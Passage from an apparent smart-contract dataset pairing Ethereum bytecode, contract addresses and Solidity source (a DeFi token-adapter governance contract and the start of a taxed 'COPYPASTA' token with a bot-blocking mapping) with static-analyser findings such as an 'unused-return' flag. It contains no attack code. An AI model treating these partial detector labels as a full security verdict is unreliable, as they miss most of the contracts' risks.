80fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c88565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f19565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610f62565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610f88565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc1565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611197565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611393565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141a565b005b6040805190810160405280601281526020017f4166726f446578204c61627320546f6b656e000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561079f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061087083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095b838261157290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600481565b6004600a0a66038d7ea4c680000281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac057600080fd5b600082111515610acf57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b1d57600080fd5b339050610b7282600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bca8260005461157290919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d99576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2d565b610dac838261157290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f4146444c5400000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ffe57600080fd5b61105082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061122882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114b257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561158057fe5b818303905092915050565b600080828401905083811015151561159f57fe5b80915050929150505600a165627a7a7230582092e99b2ee5e180ba73fbe70226f0e0696ebd75c80e95ed559181b036364f51eb0029
{"success": true, "error": null, "results": {}}
1,315
0x99596cf3b16988ed7f54b6c9dc57ae467c87f32e
pragma solidity 0.6.5; pragma experimental ABIEncoderV2; library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract Ownable { modifier onlyOwner { require(msg.sender == owner, "O: onlyOwner function!"); _; } address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice Initializes owner variable with msg.sender address. */ constructor() internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @notice Transfers ownership to the desired address. * The function is callable only by the owner. */ function transferOwnership(address _owner) external onlyOwner { require(_owner != address(0), "O: new owner is the zero address!"); emit OwnershipTransferred(owner, _owner); owner = _owner; } } contract BerezkaTokenAdapterGovernance is Ownable() { using EnumerableSet for EnumerableSet.AddressSet; /// @dev This is a set of plain assets (ERC20) used by DAO. /// This list also include addresses of Uniswap/Balancer tokenized pools. EnumerableSet.AddressSet private tokens; /// @dev This is a set of debt protocol adapters that return debt in ETH EnumerableSet.AddressSet private ethProtocols; /// @dev This is a set of debt protocol adapters that return debt for ERC20 tokens EnumerableSet.AddressSet private protocols; /// @dev This is a mapping from Berezka DAO product to corresponding Vault addresses mapping(address => address[]) private productVaults; constructor(address[] memory _tokens, address[] memory _protocols, address[] memory _ethProtocols) public { _add(protocols, _protocols); _add(tokens, _tokens); _add(ethProtocols, _ethProtocols); } // Modification functions (all only by owner) function setProductVaults(address _product, address[] memory _vaults) public onlyOwner() { require(_product != address(0), "_product is 0"); require(_vaults.length > 0, "_vaults.length should be > 0"); productVaults[_product] = _vaults; } function removeProduct(address _product) public onlyOwner() { require(_product != address(0), "_product is 0"); delete productVaults[_product]; } function addTokens(address[] memory _tokens) public onlyOwner() { _add(tokens, _tokens); } function addProtocols(address[] memory _protocols) public onlyOwner() { _add(protocols, _protocols); } function removeTokens(address[] memory _tokens) public onlyOwner() { _remove(tokens, _tokens); } function removeProtocols(address[] memory _protocols) public onlyOwner() { _remove(protocols, _protocols); } function removeEthProtocols(address[] memory _ethProtocols) public onlyOwner() { _remove(ethProtocols, _ethProtocols); } // View functions function listTokens() external view returns (address[] memory) { return _list(tokens); } function listProtocols() external view returns (address[] memory) { return _list(protocols); } function listEthProtocols() external view returns (address[] memory) { return _list(ethProtocols); } function getVaults(address _token) external view returns (address[] memory) { return productVaults[_token]; } // Internal functions function _add(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal { for (uint i = 0; i < _addresses.length; i++) { _set.add(_addresses[i]); } } function _remove(EnumerableSet.AddressSet storage _set, address[] memory _addresses) internal { for (uint i = 0; i < _addresses.length; i++) { _set.remove(_addresses[i]); } } function _list(EnumerableSet.AddressSet storage _set) internal view returns(address[] memory) { address[] memory result = new address[](_set.length()); for (uint i = 0; i < _set.length(); i++) { result[i] = _set.at(i); } return result; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063787b67251161008c578063c8dbbf7211610066578063c8dbbf72146101d8578063f2fde38b146101f4578063f3697ccd14610210578063fe7c9c921461022c576100cf565b8063787b6725146101805780638da5cb5b1461019c5780639bb6dfca146101ba576100cf565b80630aa1f4e0146100d45780634ae05c7d146100f25780634facd6a21461010e578063665359b11461012a5780636c3824ef146101465780637488ff7614610162575b600080fd5b6100dc61025c565b6040516100e991906113cd565b60405180910390f35b61010c60048036038101906101079190611151565b61026d565b005b61012860048036038101906101239190611151565b61030a565b005b610144600480360381019061013f9190611151565b6103a7565b005b610160600480360381019061015b9190611151565b610444565b005b61016a6104e1565b60405161017791906113cd565b60405180910390f35b61019a600480360381019061019591906110d4565b6104f2565b005b6101a461063f565b6040516101b191906113b2565b60405180910390f35b6101c2610664565b6040516101cf91906113cd565b60405180910390f35b6101f260048036038101906101ed9190611151565b610675565b005b61020e600480360381019061020991906110d4565b610712565b005b61022a600480360381019061022591906110fd565b6108cf565b005b610246600480360381019061024191906110d4565b610a6a565b60405161025391906113cd565b60405180910390f35b60606102686005610b37565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102f39061142f565b60405180910390fd5b610307600182610c11565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610399576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103909061142f565b60405180910390fd5b6103a4600382610c59565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042d9061142f565b60405180910390fd5b610441600582610c59565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ca9061142f565b60405180910390fd5b6104de600182610c59565b50565b60606104ed6001610b37565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105789061142f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e89061140f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063c9190610f29565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606106706003610b37565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb9061142f565b60405180910390fd5b61070f600582610c11565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107989061142f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108089061146f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109559061142f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061140f565b60405180910390fd5b6000815111610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a099061144f565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190610a65929190610f4a565b505050565b6060600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610b2b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610ae1575b50505050509050919050565b606080610b4383610ca1565b67ffffffffffffffff81118015610b5957600080fd5b50604051908082528060200260200182016040528015610b885781602001602082028036833780820191505090505b50905060008090505b610b9a84610ca1565b811015610c0757610bb48185610cb690919063ffffffff16565b828281518110610bc057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050610b91565b5080915050919050565b60008090505b8151811015610c5457610c46828281518110610c2f57fe5b602002602001015184610cd090919063ffffffff16565b508080600101915050610c17565b505050565b60008090505b8151811015610c9c57610c8e828281518110610c7757fe5b602002602001015184610d0090919063ffffffff16565b508080600101915050610c5f565b505050565b6000610caf82600001610d30565b9050919050565b6000610cc58360000183610d41565b60001c905092915050565b6000610cf8836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610dae565b905092915050565b6000610d28836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610e1e565b905092915050565b600081600001805490509050919050565b600081836000018054905011610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d83906113ef565b60405180910390fd5b826000018281548110610d9b57fe5b9060005260206000200154905092915050565b6000610dba8383610f06565b610e13578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050610e18565b600090505b92915050565b60008083600101600084815260200190815260200160002054905060008114610efa5760006001820390506000600186600001805490500390506000866000018281548110610e6957fe5b9060005260206000200154905080876000018481548110610e8657fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480610ebe57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f00565b60009150505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b5080546000825590600052602060002090810190610f479190610fd4565b50565b828054828255906000526020600020908101928215610fc3579160200282015b82811115610fc25782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190610f6a565b5b509050610fd09190610ff9565b5090565b610ff691905b80821115610ff2576000816000905550600101610fda565b5090565b90565b61103991905b8082111561103557600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101610fff565b5090565b90565b60008135905061104b81611560565b92915050565b600082601f83011261106257600080fd5b8135611075611070826114bc565b61148f565b9150818183526020840193506020810190508385602084028201111561109a57600080fd5b60005b838110156110ca57816110b0888261103c565b84526020840193506020830192505060018101905061109d565b5050505092915050565b6000602082840312156110e657600080fd5b60006110f48482850161103c565b91505092915050565b6000806040838503121561111057600080fd5b600061111e8582860161103c565b925050602083013567ffffffffffffffff81111561113b57600080fd5b61114785828601611051565b9150509250929050565b60006020828403121561116357600080fd5b600082013567ffffffffffffffff81111561117d57600080fd5b61118984828501611051565b91505092915050565b600061119e83836111aa565b60208301905092915050565b6111b38161152e565b82525050565b6111c28161152e565b82525050565b60006111d3826114f4565b6111dd818561150c565b93506111e8836114e4565b8060005b838110156112195781516112008882611192565b975061120b836114ff565b9250506001810190506111ec565b5085935050505092915050565b600061123360228361151d565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611299600d8361151d565b91507f5f70726f647563742069732030000000000000000000000000000000000000006000830152602082019050919050565b60006112d960168361151d565b91507f4f3a206f6e6c794f776e65722066756e6374696f6e21000000000000000000006000830152602082019050919050565b6000611319601c8361151d565b91507f5f7661756c74732e6c656e6774682073686f756c64206265203e2030000000006000830152602082019050919050565b600061135960218361151d565b91507f4f3a206e6577206f776e657220697320746865207a65726f206164647265737360008301527f21000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006020820190506113c760008301846111b9565b92915050565b600060208201905081810360008301526113e781846111c8565b905092915050565b6000602082019050818103600083015261140881611226565b9050919050565b600060208201905081810360008301526114288161128c565b9050919050565b60006020820190508181036000830152611448816112cc565b9050919050565b600060208201905081810360008301526114688161130c565b9050919050565b600060208201905081810360008301526114888161134c565b9050919050565b6000604051905081810181811067ffffffffffffffff821117156114b257600080fd5b8060405250919050565b600067ffffffffffffffff8211156114d357600080fd5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061153982611540565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6115698161152e565b811461157457600080fd5b5056fea2646970667358221220cfcb7d8bb1995a251c15e1c2b0096b75029c359cc9bf3d17e0adc843fcc7550464736f6c63430006050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,316
0x1A5DD2BF08436A542c66a3a588D7E63e9E7b1356
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address payable newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract copypasta is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "COPYPASTA"; string private constant _symbol = "CPASTA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _devTax; uint256 private _buyDevTax = 4; uint256 private _sellDevTax = 7; uint256 private _marketingTax; uint256 private _buyMarketingTax = 4; uint256 private _sellMarketingTax = 7; uint256 private _salesTax; uint256 private _buyBuyBackTax = 2; uint256 private _sellBuyBackTax = 3; uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buyBuyBackTax; uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellBuyBackTax; uint256 private _summedTax = _marketingTax+_salesTax; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _BuyBackW; address payable private _devWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable buyback) { _Marketingfund = marketingTaxAddress; _BuyBackW = buyback; _devWalletAddress = devfeeAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = 